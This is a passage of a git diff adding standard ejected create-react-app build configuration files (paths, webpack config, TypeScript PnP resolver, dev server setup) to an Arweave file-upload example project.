+  return {
+    additionalModulePaths: additionalModulePaths,
+    webpackAliases: getWebpackAliases(options),
+    jestAliases: getJestAliases(options),
+    hasTsConfig,
+  };
+}
+
+module.exports = getModules();
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/paths.js b/basic/70-arweave-file-upload-with-bundlr/config/paths.js
new file mode 100644
index 000000000..4e3d30e26
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/paths.js
@@ -0,0 +1,75 @@
+'use strict';
+
+const path = require('path');
+const fs = require('fs');
+const getPublicUrlOrPath = require('react-dev-utils/getPublicUrlOrPath');
+
+// Make sure any symlinks in the project folder are resolved:
+// https://github.com/facebook/create-react-app/issues/637
+const appDirectory = fs.realpathSync(process.cwd());
+const resolveApp = relativePath => path.resolve(appDirectory, relativePath);
+
+// We use `PUBLIC_URL` environment variable or "homepage" field to infer
+// "public path" at which the app is served.
+// webpack needs to know it to put the right <script> hrefs into HTML even in
+// single-page apps that may serve index.html for nested URLs like /todos/42.
+// We can't use a relative path in HTML because we don't want to load something
+// like /todos/42/static/js/bundle.7289d.js. We have to know the root.
+const publicUrlOrPath = getPublicUrlOrPath(
+  process.env.NODE_ENV === 'development',
+  require(resolveApp('package.json')).homepage,
+  process.env.PUBLIC_URL
+);
+
+const buildPath = process.env.BUILD_PATH || 'build';
+
+const moduleFileExtensions = [
+  'web.mjs',
+  'mjs',
+  'web.js',
+  'js',
+  'web.ts',
+  'ts',
+  'web.tsx',
+  'tsx',
+  'json',
+  'web.jsx',
+  'jsx',
+];
+
+// Resolve file paths in the same order as webpack
+const resolveModule = (resolveFn, filePath) => {
+  const extension = moduleFileExtensions.find(extension =>
+    fs.existsSync(resolveFn(`${filePath}.${extension}`))
+  );
+
+  if (extension) {
+    return resolveFn(`${filePath}.${extension}`);
+  }
+
+  return resolveFn(`${filePath}.js`);
+};
+
+// config after eject: we're in ./config/
+module.exports = {
+  dotenv: resolveApp('.env'),
+  appPath: resolveApp('.'),
+  appBuild: resolveApp(buildPath),
+  appPublic: resolveApp('public'),
+  appHtml: resolveApp('public/index.html'),
+  appIndexJs: resolveModule(resolveApp, 'src/index'),
+  appPackageJson: resolveApp('package.json'),
+  appSrc: resolveApp('src'),
+  appTsConfig: resolveApp('tsconfig.json'),
+  appJsConfig: resolveApp('jsconfig.json'),
+  yarnLockFile: resolveApp('yarn.lock'),
+  testsSetup: resolveModule(resolveApp, 'src/setupTests'),
+  proxySetup: resolveApp('src/setupProxy.js'),
+  appNodeModules: resolveApp('node_modules'),
+  swSrc: resolveModule(resolveApp, 'src/service-worker'),
+  publicUrlOrPath,
+};
+
+
+
+module.exports.moduleFileExtensions = moduleFileExtensions;
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/pnpTs.js b/basic/70-arweave-file-upload-with-bundlr/config/pnpTs.js
new file mode 100644
index 000000000..d1b0539f8
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/pnpTs.js
@@ -0,0 +1,35 @@
+'use strict';
+
+const { resolveModuleName } = require('ts-pnp');
+
+exports.resolveModuleName = (
+  typescript,
+  moduleName,
+  containingFile,
+  compilerOptions,
+  resolutionHost
+) => {
+  return resolveModuleName(
+    moduleName,
+    containingFile,
+    compilerOptions,
+    resolutionHost,
+    typescript.resolveModuleName
+  );
+};
+
+exports.resolveTypeReferenceDirective = (
+  typescript,
+  moduleName,
+  containingFile,
+  compilerOptions,
+  resolutionHost
+) => {
+  return resolveModuleName(
+    moduleName,
+    containingFile,
+    compilerOptions,
+    resolutionHost,
+    typescript.resolveTypeReferenceDirective
+  );
+};
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/webpack.config.js b/basic/70-arweave-file-upload-with-bundlr/config/webpack.config.js
new file mode 100644
index 000000000..ddb56b37d
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/webpack.config.js
@@ -0,0 +1,763 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const webpack = require('webpack');
+const resolve = require('resolve');
+const PnpWebpackPlugin = require('pnp-webpack-plugin');
+const HtmlWebpackPlugin = require('html-webpack-plugin');
+const CaseSensitivePathsPlugin = require('case-sensitive-paths-webpack-plugin');
+const InlineChunkHtmlPlugin = require('react-dev-utils/InlineChunkHtmlPlugin');
+const TerserPlugin = require('terser-webpack-plugin');
+const MiniCssExtractPlugin = require('mini-css-extract-plugin');
+const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin');
+const safePostCssParser = require('postcss-safe-parser');
+const ManifestPlugin = require('webpack-manifest-plugin');
+const InterpolateHtmlPlugin = require('react-dev-utils/InterpolateHtmlPlugin');
+const WorkboxWebpackPlugin = require('workbox-webpack-plugin');
+const WatchMissingNodeModulesPlugin = require('react-dev-utils/WatchMissingNodeModulesPlugin');
+const ModuleScopePlugin = require('react-dev-utils/ModuleScopePlugin');
+const getCSSModuleLocalIdent = require('react-dev-utils/getCSSModuleLocalIdent');
+const ESLintPlugin = require('eslint-webpack-plugin');
+const paths = require('./paths');
+const modules = require('./modules');
+const getClientEnvironment = require('./env');
+const ModuleNotFoundPlugin = require('react-dev-utils/ModuleNotFoundPlugin');
+const ForkTsCheckerWebpackPlugin = require('react-dev-utils/ForkTsCheckerWebpackPlugin');
+const typescriptFormatter = require('react-dev-utils/typescriptFormatter');
+const ReactRefreshWebpackPlugin = require('@pmmmwh/react-refresh-webpack-plugin');
+
+const postcssNormalize = require('postcss-normalize');
+
+const appPackageJson = require(paths.appPackageJson);
+
+// Source maps are resource heavy and can cause out of memory issue for large source files.
+const shouldUseSourceMap = process.env.GENERATE_SOURCEMAP !== 'false';
+
+const webpackDevClientEntry = require.resolve(
+  'react-dev-utils/webpackHotDevClient'
+);
+const reactRefreshOverlayEntry = require.resolve(
+  'react-dev-utils/refreshOverlayInterop'
+);
+
+// Some apps do not need the benefits of saving a web request, so not inlining the chunk
+// makes for a smoother build process.
+const shouldInlineRuntimeChunk = process.env.INLINE_RUNTIME_CHUNK !== 'false';
+
+const emitErrorsAsWarnings = process.env.ESLINT_NO_DEV_ERRORS === 'true';
+const disableESLintPlugin = process.env.DISABLE_ESLINT_PLUGIN === 'true';
+
+const imageInlineSizeLimit = parseInt(
+  process.env.IMAGE_INLINE_SIZE_LIMIT || '10000'
+);
+
+// Check if TypeScript is setup
+const useTypeScript = fs.existsSync(paths.appTsConfig);
+
+// Get the path to the uncompiled service worker (if it exists).
+const swSrc = paths.swSrc;
+
+// style files regexes
+const cssRegex = /\.css$/;
+const cssModuleRegex = /\.module\.css$/;
+const sassRegex = /\.(scss|sass)$/;
+const sassModuleRegex = /\.module\.(scss|sass)$/;
+
+const hasJsxRuntime = (() => {
+  if (process.env.DISABLE_NEW_JSX_TRANSFORM === 'true') {
+    return false;
+  }
+
+  try {
+    require.resolve('react/jsx-runtime');
+    return true;
+  } catch (e) {
+    return false;
+  }
+})();
+
+// This is the production and development configuration.
+// It is focused on developer experience, fast rebuilds, and a minimal bundle.
+module.exports = function (webpackEnv) {
+  const isEnvDevelopment = webpackEnv === 'development';
+  const isEnvProduction = webpackEnv === 'production';
+
+  // Variable used for enabling profiling in Production
+  // passed into alias object. Uses a flag if passed into the build command
+  const isEnvProductionProfile =
+    isEnvProduction && process.argv.includes('--profile');
+
+  // We will provide `paths.publicUrlOrPath` to our app
+  // as %PUBLIC_URL% in `index.html` and `process.env.PUBLIC_URL` in JavaScript.
+  // Omit trailing slash as %PUBLIC_URL%/xyz looks better than %PUBLIC_URL%xyz.
+  // Get environment variables to inject into our app.
+  const env = getClientEnvironment(paths.publicUrlOrPath.slice(0, -1));
+
+  const shouldUseReactRefresh = env.raw.FAST_REFRESH;
+
+  // common function to get style loaders
+  const getStyleLoaders = (cssOptions, preProcessor) => {
+    const loaders = [
+      isEnvDevelopment && require.resolve('style-loader'),
+      isEnvProduction && {
+        loader: MiniCssExtractPlugin.loader,
+        // css is located in `static/css`, use '../../' to locate index.html folder
+        // in production `paths.publicUrlOrPath` can be a relative path
+        options: paths.publicUrlOrPath.startsWith('.')
+          ? { publicPath: '../../' }
+          : {},
+      },
+      {
+        loader: require.resolve('css-loader'),
+        options: cssOptions,
+      },
+      {
+        // Options for PostCSS as we reference these options twice
+        // Adds vendor prefixing based on your specified browser support in
+        // package.json
+        loader: require.resolve('postcss-loader'),
+        options: {
+          // Necessary for external CSS imports to work
+          // https://github.com/facebook/create-react-app/issues/2677
+          ident: 'postcss',
+          plugins: () => [
+            require('postcss-flexbugs-fixes'),
+            require('postcss-preset-env')({
+              autoprefixer: {
+                flexbox: 'no-2009',
+              },
+              stage: 3,
+            }),
+            // Adds PostCSS Normalize as the reset css with default options,
+            // so that it honors browserslist config in package.json
+            // which in turn let's users customize the target behavior as per their needs.
+            postcssNormalize(),
+          ],
+          sourceMap: isEnvProduction ? shouldUseSourceMap : isEnvDevelopment,
+        },
+      },
+    ].filter(Boolean);
+    if (preProcessor) {
+      loaders.push(
+        {
+          loader: require.resolve('resolve-url-loader'),
+          options: {
+            sourceMap: isEnvProduction ? shouldUseSourceMap : isEnvDevelopment,
+            root: paths.appSrc,
+          },
+        },
+        {
+          loader: require.resolve(preProcessor),
+          options: {
+            sourceMap: true,
+          },
+        }
+      );
+    }
+    return loaders;
+  };
+
+  return {
+    mode: isEnvProduction ? 'production' : isEnvDevelopment && 'development',
+    // Stop compilation early in production
+    bail: isEnvProduction,
+    devtool: isEnvProduction
+      ? shouldUseSourceMap
+        ? 'source-map'
+        : false
+      : isEnvDevelopment && 'cheap-module-source-map',
+    // These are the "entry points" to our application.
+    // This means they will be the "root" imports that are included in JS bundle.
+    entry:
+      isEnvDevelopment && !shouldUseReactRefresh
+        ? [
+          // Include an alternative client for WebpackDevServer. A client's job is to
+          // connect to WebpackDevServer by a socket and get notified about changes.
+          // When you save a file, the client will either apply hot updates (in case
+          // of CSS changes), or refresh the page (in case of JS changes). When you
+          // make a syntax error, this client will display a syntax error overlay.
+          // Note: instead of the default WebpackDevServer client, we use a custom one
+          // to bring better experience for Create React App users. You can replace
+          // the line below with these two lines if you prefer the stock client:
+          //
+          // require.resolve('webpack-dev-server/client') + '?/',
+          // require.resolve('webpack/hot/dev-server'),
+          //
+          // When using the experimental react-refresh integration,
+          // the webpack plugin takes care of injecting the dev client for us.
+          webpackDevClientEntry,
+          // Finally, this is your app's code:
+          paths.appIndexJs,
+          // We include the app code last so that if there is a runtime error during
+          // initialization, it doesn't blow up the WebpackDevServer client, and
+          // changing JS code would still trigger a refresh.
+        ]
+        : paths.appIndexJs,
+    output: {
+      // The build folder.
+      path: isEnvProduction ? paths.appBuild : undefined,
+      // Add /* filename */ comments to generated require()s in the output.
+      pathinfo: isEnvDevelopment,
+      // There will be one main bundle, and one file per asynchronous chunk.
+      // In development, it does not produce real files.
+      filename: isEnvProduction
+        ? 'static/js/[name].[contenthash:8].js'
+        : isEnvDevelopment && 'static/js/bundle.js',
+      // TODO: remove this when upgrading to webpack 5
+      futureEmitAssets: true,
+      // There are also additional JS chunk files if you use code splitting.
+      chunkFilename: isEnvProduction
+        ? 'static/js/[name].[contenthash:8].chunk.js'
+        : isEnvDevelopment && 'static/js/[name].chunk.js',
+      // webpack uses `publicPath` to determine where the app is being served from.
+      // It requires a trailing slash, or the file assets will get an incorrect path.
+      // We inferred the "public path" (such as / or /my-project) from homepage.
+      publicPath: paths.publicUrlOrPath,
+      // Point sourcemap entries to original disk location (format as URL on Windows)
+      devtoolModuleFilenameTemplate: isEnvProduction
+        ? info =>
+          path
+            .relative(paths.appSrc, info.absoluteResourcePath)
+            .replace(/\\/g, '/')
+        : isEnvDevelopment &&
+        (info => path.resolve(info.absoluteResourcePath).replace(/\\/g, '/')),
+      // Prevents conflicts when multiple webpack runtimes (from different apps)
+      // are used on the same page.
+      jsonpFunction: `webpackJsonp${appPackageJson.name}`,
+      // this defaults to 'window', but by setting it to 'this' then
+      // module chunks which are built will work in web workers as well.
+      globalObject: 'this',
+    },
+    optimization: {
+      minimize: isEnvProduction,
+      minimizer: [
+        // This is only used in production mode
+        new TerserPlugin({
+          terserOptions: {
+            parse: {
+              // We want terser to parse ecma 8 code. However, we don't want it
+              // to apply any minification steps that turns valid ecma 5 code
+              // into invalid ecma 5 code. This is why the 'compress' and 'output'
+              // sections only apply transformations that are ecma 5 safe
+              // https://github.com/facebook/create-react-app/pull/4234
+              ecma: 8,
+            },
+            compress: {
+              ecma: 5,
+              warnings: false,
+              // Disabled because of an issue with Uglify breaking seemingly valid code:
+              // https://github.com/facebook/create-react-app/issues/2376
+              // Pending further investigation:
+              // https://github.com/mishoo/UglifyJS2/issues/2011
+              comparisons: false,
+              // Disabled because of an issue with Terser breaking valid code:
+              // https://github.com/facebook/create-react-app/issues/5250
+              // Pending further investigation:
+              // https://github.com/terser-js/terser/issues/120
+              inline: 2,
+            },
+            mangle: {
+              safari10: true,
+            },
+            // Added for profiling in devtools
+            keep_classnames: isEnvProductionProfile,
+            keep_fnames: isEnvProductionProfile,
+            output: {
+              ecma: 5,
+              comments: false,
+              // Turned on because emoji and regex is not minified properly using default
+              // https://github.com/facebook/create-react-app/issues/2488
+              ascii_only: true,
+            },
+          },
+          sourceMap: shouldUseSourceMap,
+        }),
+        // This is only used in production mode
+        new OptimizeCSSAssetsPlugin({
+          cssProcessorOptions: {
+            parser: safePostCssParser,
+            map: shouldUseSourceMap
+              ? {
+                // `inline: false` forces the sourcemap to be output into a
+                // separate file
+                inline: false,
+                // `annotation: true` appends the sourceMappingURL to the end of
+                // the css file, helping the browser find the sourcemap
+                annotation: true,
+              }
+              : false,
+          },
+          cssProcessorPluginOptions: {
+            preset: ['default', { minifyFontValues: { removeQuotes: false } }],
+          },
+        }),
+      ],
+      // Automatically split vendor and commons
+      // https://twitter.com/wSokra/status/969633336732905474
+      // https://medium.com/webpack/webpack-4-code-splitting-chunk-graph-and-the-splitchunks-optimization-be739a861366
+      splitChunks: {
+        chunks: 'all',
+        name: isEnvDevelopment,
+      },
+      // Keep the runtime chunk separated to enable long term caching
+      // https://twitter.com/wSokra/status/969679223278505985
+      // https://github.com/facebook/create-react-app/issues/5358
+      runtimeChunk: {
+        name: entrypoint => `runtime-${entrypoint.name}`,
+      },
+    },
+    resolve: {
+      // This allows you to set a fallback for where webpack should look for modules.
+      // We placed these paths second because we want `node_modules` to "win"
+      // if there are any conflicts. This matches Node resolution mechanism.
+      // https://github.com/facebook/create-react-app/issues/253
+      modules: ['node_modules', paths.appNodeModules].concat(
+        modules.additionalModulePaths || []
+      ),
+      // These are the reasonable defaults supported by the Node ecosystem.
+      // We also include JSX as a common component filename extension to support
+      // some tools, although we do not recommend using it, see:
+      // https://github.com/facebook/create-react-app/issues/290
+      // `web` extension prefixes have been added for better support
+      // for React Native Web.
+      extensions: paths.moduleFileExtensions
+        .map(ext => `.${ext}`)
+        .filter(ext => useTypeScript || !ext.includes('ts')),
+      alias: {
+        // Support React Native Web
+        // https://www.smashingmagazine.com/2016/08/a-glimpse-into-the-future-with-react-native-for-web/
+        'react-native': 'react-native-web',
+        // Allows for better profiling with ReactDevTools
+        ...(isEnvProductionProfile && {
+          'react-dom$': 'react-dom/profiling',
+          'scheduler/tracing': 'scheduler/tracing-profiling',
+        }),
+        ...(modules.webpackAliases || {}),
+      },
+      plugins: [
+        // Adds support for installing with Plug'n'Play, leading to faster installs and adding
+        // guards against forgotten dependencies and such.
+        PnpWebpackPlugin,
+        // Prevents users from importing files from outside of src/ (or node_modules/).
+        // This often causes confusion because we only process files within src/ with babel.
+        // To fix this, we prevent you from importing files out of src/ -- if you'd like to,
+        // please link the files into your node_modules/ and let module-resolution kick in.
+        // Make sure your source files are compiled, as they will not be processed in any way.
+        new ModuleScopePlugin(paths.appSrc, [
+          paths.appPackageJson,
+          reactRefreshOverlayEntry,
+        ]),
+      ],
+    },
+    resolveLoader: {
+      plugins: [
+        // Also related to Plug'n'Play, but this time it tells webpack to load its loaders
+        // from the current package.
+        PnpWebpackPlugin.moduleLoader(module),
+      ],
+    },
+    module: {
+      strictExportPresence: true,
+      rules: [
+        // fix to allow mjs imports >.>
+        {
+          include: /node_modules/,
+          test: /\.mjs$/,
+          type: 'javascript/auto'
+        },
+        // Disable require.ensure as it's not a standard language feature.
+        { parser: { requireEnsure: false } },
+        {
+          // "oneOf" will traverse all following loaders until one will
+          // match the requirements. When no loader matches it will fall
+          // back to the "file" loader at the end of the loader list.
+          oneOf: [
+            // TODO: Merge this config once `image/avif` is in the mime-db
+            // https://github.com/jshttp/mime-db
+            {
+              test: [/\.avif$/],
+              loader: require.resolve('url-loader'),
+              options: {
+                limit: imageInlineSizeLimit,
+                mimetype: 'image/avif',
+                name: 'static/media/[name].[hash:8].[ext]',
+              },
+            },
+            // "url" loader works like "file" loader except that it embeds assets
+            // smaller than specified limit in bytes as data URLs to avoid requests.
+            // A missing `test` is equivalent to a match.
+            {
+              test: [/\.bmp$/, /\.gif$/, /\.jpe?g$/, /\.png$/],
+              loader: require.resolve('url-loader'),
+              options: {
+                limit: imageInlineSizeLimit,
+                name: 'static/media/[name].[hash:8].[ext]',
+              },
+            },
+            // Process application JS with Babel.
+            // The preset includes JSX, Flow, TypeScript, and some ESnext features.
+            {
+              test: /\.(js|mjs|jsx|ts|tsx)$/,
+              include: paths.appSrc,
+              loader: require.resolve('babel-loader'),
+              options: {
+                customize: require.resolve(
+                  'babel-preset-react-app/webpack-overrides'
+                ),
+                presets: [
+                  [
+                    require.resolve('babel-preset-react-app'),
+                    {
+                      runtime: hasJsxRuntime ? 'automatic' : 'classic',
+                    },
+                  ],
+                ],
+
+                plugins: [
+                  [
+                    require.resolve('babel-plugin-named-asset-import'),
+                    {
+                      loaderMap: {
+                        svg: {
+                          ReactComponent:
+                            '@svgr/webpack?-svgo,+titleProp,+ref![path]',
+                        },
+                      },
+                    },
+                  ],
+                  isEnvDevelopment &&
+                  shouldUseReactRefresh &&
+                  require.resolve('react-refresh/babel'),
+                ].filter(Boolean),
+                // This is a feature of `babel-loader` for webpack (not Babel itself).
+                // It enables caching results in ./node_modules/.cache/babel-loader/
+                // directory for faster rebuilds.
+                cacheDirectory: true,
+                // See #6846 for context on why cacheCompression is disabled
+                cacheCompression: false,
+                compact: isEnvProduction,
+              },
+            },
+            // Process any JS outside of the app with Babel.
+            // Unlike the application JS, we only compile the standard ES features.
+            {
+              test: /\.(js|mjs)$/,
+              exclude: /@babel(?:\/|\\{1,2})runtime/,
+              loader: require.resolve('babel-loader'),
+              options: {
+                babelrc: false,
+                configFile: false,
+                compact: false,
+                presets: [
+                  [
+                    require.resolve('babel-preset-react-app/dependencies'),
+                    { helpers: true },
+                  ],
+                ],
+                cacheDirectory: true,
+                // See #6846 for context on why cacheCompression is disabled
+                cacheCompression: false,
+
+                // Babel sourcemaps are needed for debugging into node_modules
+                // code.  Without the options below, debuggers like VSCode
+                // show incorrect code and set breakpoints on the wrong lines.
+                sourceMaps: shouldUseSourceMap,
+                inputSourceMap: shouldUseSourceMap,
+              },
+            },
+            // "postcss" loader applies autoprefixer to our CSS.
+            // "css" loader resolves paths in CSS and adds assets as dependencies.
+            // "style" loader turns CSS into JS modules that inject <style> tags.
+            // In production, we use MiniCSSExtractPlugin to extract that CSS
+            // to a file, but in development "style" loader enables hot editing
+            // of CSS.
+            // By default we support CSS Modules with the extension .module.css
+            {
+              test: cssRegex,
+              exclude: cssModuleRegex,
+              use: getStyleLoaders({
+                importLoaders: 1,
+                sourceMap: isEnvProduction
+                  ? shouldUseSourceMap
+                  : isEnvDevelopment,
+              }),
+              // Don't consider CSS imports dead code even if the
+              // containing package claims to have no side effects.
+              // Remove this when webpack adds a warning or an error for this.
+              // See https://github.com/webpack/webpack/issues/6571
+              sideEffects: true,
+            },
+            // Adds support for CSS Modules (https://github.com/css-modules/css-modules)
+            // using the extension .module.css
+            {
+              test: cssModuleRegex,
+              use: getStyleLoaders({
+                importLoaders: 1,
+                sourceMap: isEnvProduction
+                  ? shouldUseSourceMap
+                  : isEnvDevelopment,
+                modules: {
+                  getLocalIdent: getCSSModuleLocalIdent,
+                },
+              }),
+            },
+            // Opt-in support for SASS (using .scss or .sass extensions).
+            // By default we support SASS Modules with the
+            // extensions .module.scss or .module.sass
+            {
+              test: sassRegex,
+              exclude: sassModuleRegex,
+              use: getStyleLoaders(
+                {
+                  importLoaders: 3,
+                  sourceMap: isEnvProduction
+                    ? shouldUseSourceMap
+                    : isEnvDevelopment,
+                },
+                'sass-loader'
+              ),
+              // Don't consider CSS imports dead code even if the
+              // containing package claims to have no side effects.
+              // Remove this when webpack adds a warning or an error for this.
+              // See https://github.com/webpack/webpack/issues/6571
+              sideEffects: true,
+            },
+            // Adds support for CSS Modules, but using SASS
+            // using the extension .module.scss or .module.sass
+            {
+              test: sassModuleRegex,
+              use: getStyleLoaders(
+                {
+                  importLoaders: 3,
+                  sourceMap: isEnvProduction
+                    ? shouldUseSourceMap
+                    : isEnvDevelopment,
+                  modules: {
+                    getLocalIdent: getCSSModuleLocalIdent,
+                  },
+                },
+                'sass-loader'
+              ),
+            },
+            // "file" loader makes sure those assets get served by WebpackDevServer.
+            // When you `import` an asset, you get its (virtual) filename.
+            // In production, they would get copied to the `build` folder.
+            // This loader doesn't use a "test" so it will catch all modules
+            // that fall through the other loaders.
+            {
+              loader: require.resolve('file-loader'),
+              // Exclude `js` files to keep "css" loader working as it injects
+              // its runtime that would otherwise be processed through "file" loader.
+              // Also exclude `html` and `json` extensions so they get processed
+              // by webpacks internal loaders.
+              exclude: [/\.(js|mjs|jsx|ts|tsx)$/, /\.html$/, /\.json$/],
+              options: {
+                name: 'static/media/[name].[hash:8].[ext]',
+              },
+            },
+            // ** STOP ** Are you adding a new loader?
+            // Make sure to add the new loader(s) before the "file" loader.
+          ],
+        },
+      ],
+    },
+    plugins: [
+      // Generates an `index.html` file with the <script> injected.
+      new HtmlWebpackPlugin(
+        Object.assign(
+          {},
+          {
+            inject: true,
+            template: paths.appHtml,
+          },
+          isEnvProduction
+            ? {
+              minify: {
+                removeComments: true,
+                collapseWhitespace: true,
+                removeRedundantAttributes: true,
+                useShortDoctype: true,
+                removeEmptyAttributes: true,
+                removeStyleLinkTypeAttributes: true,
+                keepClosingSlash: true,
+                minifyJS: true,
+                minifyCSS: true,
+                minifyURLs: true,
+              },
+            }
+            : undefined
+        )
+      ),
+      // Inlines the webpack runtime script. This script is too small to warrant
+      // a network request.
+      // https://github.com/facebook/create-react-app/issues/5358
+      isEnvProduction &&
+      shouldInlineRuntimeChunk &&
+      new InlineChunkHtmlPlugin(HtmlWebpackPlugin, [/runtime-.+[.]js/]),
+      // Makes some environment variables available in index.html.
+      // The public URL is available as %PUBLIC_URL% in index.html, e.g.:
+      // <link rel="icon" href="%PUBLIC_URL%/favicon.ico">
+      // It will be an empty string unless you specify "homepage"
+      // in `package.json`, in which case it will be the pathname of that URL.
+      new InterpolateHtmlPlugin(HtmlWebpackPlugin, env.raw),
+      // This gives some necessary context to module not found errors, such as
+      // the requesting resource.
+      new ModuleNotFoundPlugin(paths.appPath),
+      // Makes some environment variables available to the JS code, for example:
+      // if (process.env.NODE_ENV === 'production') { ... }. See `./env.js`.
+      // It is absolutely essential that NODE_ENV is set to production
+      // during a production build.
+      // Otherwise React will be compiled in the very slow development mode.
+      new webpack.DefinePlugin(env.stringified),
+      // This is necessary to emit hot updates (CSS and Fast Refresh):
+      isEnvDevelopment && new webpack.HotModuleReplacementPlugin(),
+      // Experimental hot reloading for React .
+      // https://github.com/facebook/react/tree/master/packages/react-refresh
+      isEnvDevelopment &&
+      shouldUseReactRefresh &&
+      new ReactRefreshWebpackPlugin({
+        overlay: {
+          entry: webpackDevClientEntry,
+          // The expected exports are slightly different from what the overlay exports,
+          // so an interop is included here to enable feedback on module-level errors.
+          module: reactRefreshOverlayEntry,
+          // Since we ship a custom dev client and overlay integration,
+          // the bundled socket handling logic can be eliminated.
+          sockIntegration: false,
+        },
+      }),
+      // Watcher doesn't work well if you mistype casing in a path so we use
+      // a plugin that prints an error when you attempt to do this.
+      // See https://github.com/facebook/create-react-app/issues/240
+      isEnvDevelopment && new CaseSensitivePathsPlugin(),
+      // If you require a missing module and then `npm install` it, you still have
+      // to restart the development server for webpack to discover it. This plugin
+      // makes the discovery automatic so you don't have to restart.
+      // See https://github.com/facebook/create-react-app/issues/186
+      isEnvDevelopment &&
+      new WatchMissingNodeModulesPlugin(paths.appNodeModules),
+      isEnvProduction &&
+      new MiniCssExtractPlugin({
+        // Options similar to the same options in webpackOptions.output
+        // both options are optional
+        filename: 'static/css/[name].[contenthash:8].css',
+        chunkFilename: 'static/css/[name].[contenthash:8].chunk.css',
+      }),
+      // Generate an asset manifest file with the following content:
+      // - "files" key: Mapping of all asset filenames to their corresponding
+      //   output file so that tools can pick it up without having to parse
+      //   `index.html`
+      // - "entrypoints" key: Array of files which are included in `index.html`,
+      //   can be used to reconstruct the HTML if necessary
+      new ManifestPlugin({
+        fileName: 'asset-manifest.json',
+        publicPath: paths.publicUrlOrPath,
+        generate: (seed, files, entrypoints) => {
+          const manifestFiles = files.reduce((manifest, file) => {
+            manifest[file.name] = file.path;
+            return manifest;
+          }, seed);
+          const entrypointFiles = entrypoints.main.filter(
+            fileName => !fileName.endsWith('.map')
+          );
+
+          return {
+            files: manifestFiles,
+            entrypoints: entrypointFiles,
+          };
+        },
+      }),
+      // Moment.js is an extremely popular library that bundles large locale files
+      // by default due to how webpack interprets its code. This is a practical
+      // solution that requires the user to opt into importing specific locales.
+      // https://github.com/jmblog/how-to-optimize-momentjs-with-webpack
+      // You can remove this if you don't use Moment.js:
+      new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/),
+      // Generate a service worker script that will precache, and keep up to date,
+      // the HTML & assets that are part of the webpack build.
+      isEnvProduction &&
+      fs.existsSync(swSrc) &&
+      new WorkboxWebpackPlugin.InjectManifest({
+        swSrc,
+        dontCacheBustURLsMatching: /\.[0-9a-f]{8}\./,
+        exclude: [/\.map$/, /asset-manifest\.json$/, /LICENSE/],
+        // Bump up the default maximum size (2mb) that's precached,
+        // to make lazy-loading failure scenarios less likely.
+        // See https://github.com/cra-template/pwa/issues/13#issuecomment-722667270
+        maximumFileSizeToCacheInBytes: 5 * 1024 * 1024,
+      }),
+      // TypeScript type checking
+      useTypeScript &&
+      new ForkTsCheckerWebpackPlugin({
+        typescript: resolve.sync('typescript', {
+          basedir: paths.appNodeModules,
+        }),
+        async: isEnvDevelopment,
+        checkSyntacticErrors: true,
+        resolveModuleNameModule: process.versions.pnp
+          ? `${__dirname}/pnpTs.js`
+          : undefined,
+        resolveTypeReferenceDirectiveModule: process.versions.pnp
+          ? `${__dirname}/pnpTs.js`
+          : undefined,
+        tsconfig: paths.appTsConfig,
+        reportFiles: [
+          // This one is specifically to match during CI tests,
+          // as micromatch doesn't match
+          // '../cra-template-typescript/template/src/App.tsx'
+          // otherwise.
+          '../**/src/**/*.{ts,tsx}',
+          '**/src/**/*.{ts,tsx}',
+          '!**/src/**/__tests__/**',
+          '!**/src/**/?(*.)(spec|test).*',
+          '!**/src/setupProxy.*',
+          '!**/src/setupTests.*',
+        ],
+        silent: true,
+        // The formatter is invoked directly in WebpackDevServerUtils during development
+        formatter: isEnvProduction ? typescriptFormatter : undefined,
+      }),
+      !disableESLintPlugin &&
+      new ESLintPlugin({
+        // Plugin options
+        extensions: ['js', 'mjs', 'jsx', 'ts', 'tsx'],
+        formatter: require.resolve('react-dev-utils/eslintFormatter'),
+        eslintPath: require.resolve('eslint'),
+        failOnError: !(isEnvDevelopment && emitErrorsAsWarnings),
+        context: paths.appSrc,
+        cache: true,
+        cacheLocation: path.resolve(
+          paths.appNodeModules,
+          '.cache/.eslintcache'
+        ),
+        // ESLint class options
+        cwd: paths.appPath,
+        resolvePluginsRelativeTo: __dirname,
+        baseConfig: {
+          extends: [require.resolve('eslint-config-react-app/base')],
+          rules: {
+            ...(!hasJsxRuntime && {
+              'react/react-in-jsx-scope': 'error',
+            }),
+          },
+        },
+      }),
+    ].filter(Boolean),
+    // Some libraries import Node modules but don't use them in the browser.
+    // Tell webpack to provide empty mocks for them so importing them works.
+    node: {
+      module: 'empty',
+      dgram: 'empty',
+      dns: 'mock',
+      fs: 'empty',
+      http2: 'empty',
+      net: 'empty',
+      tls: 'empty',
+      child_process: 'empty',
+    },
+    // Turn off performance processing because we utilize
+    // our own hints via the FileSizeReporter
+    performance: false,
+  };
+};
diff --git a/basic/70-arweave-file-upload-with-bundlr/config/webpackDevServer.config.js b/basic/70-arweave-file-upload-with-bundlr/config/webpackDevServer.config.js
new file mode 100644
index 000000000..6c43a8a10
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/config/webpackDevServer.config.js
@@ -0,0 +1,130 @@
+'use strict';
+
+const fs = require('fs');
+const errorOverlayMiddleware = require('react-dev-utils/errorOverlayMiddleware');
+const evalSourceMapMiddleware = require('react-dev-utils/evalSourceMapMiddleware');
+const noopServiceWorkerMiddleware = require('react-dev-utils/noopServiceWorkerMiddleware');
+const ignoredFiles = require('react-dev-utils/ignoredFiles');
+const redirectServedPath = require('react-dev-utils/redirectServedPathMiddleware');
+const paths = require('./paths');
+const getHttpsConfig = require('./getHttpsConfig');
+
+const host = process.env.HOST || '0.0.0.0';
+const sockHost = process.env.WDS_SOCKET_HOST;
+const sockPath = process.env.WDS_SOCKET_PATH; // default: '/sockjs-node'
+const sockPort = process.env.WDS_SOCKET_PORT;
+
+module.exports = function (proxy, allowedHost) {
+  return {
+    // WebpackDevServer 2.4.3 introduced a security fix that prevents remote
+    // websites from potentially accessing local content through DNS rebinding:
+    // https://github.com/webpack/webpack-dev-server/issues/887
